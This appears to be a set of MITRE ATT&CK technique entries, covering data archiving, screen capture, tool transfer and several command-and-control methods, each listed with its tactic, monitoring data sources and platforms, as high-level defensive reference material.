Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre